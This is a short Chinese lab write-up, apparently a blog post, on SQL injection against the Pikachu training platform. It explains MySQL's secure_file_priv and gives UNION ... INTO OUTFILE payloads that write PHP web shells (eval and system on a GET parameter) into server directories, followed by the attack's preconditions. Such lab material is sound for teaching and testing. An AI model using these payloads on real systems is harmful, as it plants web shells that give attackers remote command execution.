Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

复制代码
show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

复制代码
vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

进入到服务器目录下,看到文件已生成;

这个实验有三个前提条件:

1、需要知道远程服务器的文件目录;

2、需要该目录有写权限;

3、需要数据库开启secure_file_priv权限;

相关推荐
安小牛4 分钟前
Android 开发汉字转带声调的拼音
android·java·学习·android studio
聚美智数5 分钟前
企业实际控制人查询-公司实控人查询
android·java·javascript
JMchen1231 小时前
第 3 篇|Android 项目结构解析与第一个界面 —— Hello, CSDN!
android·android studio·android 零基础·android 项目结构·android 界面开发
mfxcyh2 小时前
使用MobaXterm配置nginx
java·服务器·nginx
Irene19912 小时前
SQL 中日期的特殊性总结(格式符严格要求全大写)
sql
pengyi8710152 小时前
动态IP池快速更换实操方案,5分钟完成IP替换
服务器·网络·tcp/ip
不做无法实现的梦~3 小时前
Linux 上使用 CLion 开发嵌入式,并用 Codex CLI
linux·运维·服务器
花椒技术3 小时前
从区间锁到行锁:一次高并发写入死锁治理实战
后端·sql
被摘下的星星3 小时前
以太网技术
服务器·网络
苦逼大学生被编程薄纱4 小时前
Ext 文件系统基础:Linux 存储基石入门(下)
linux·运维·服务器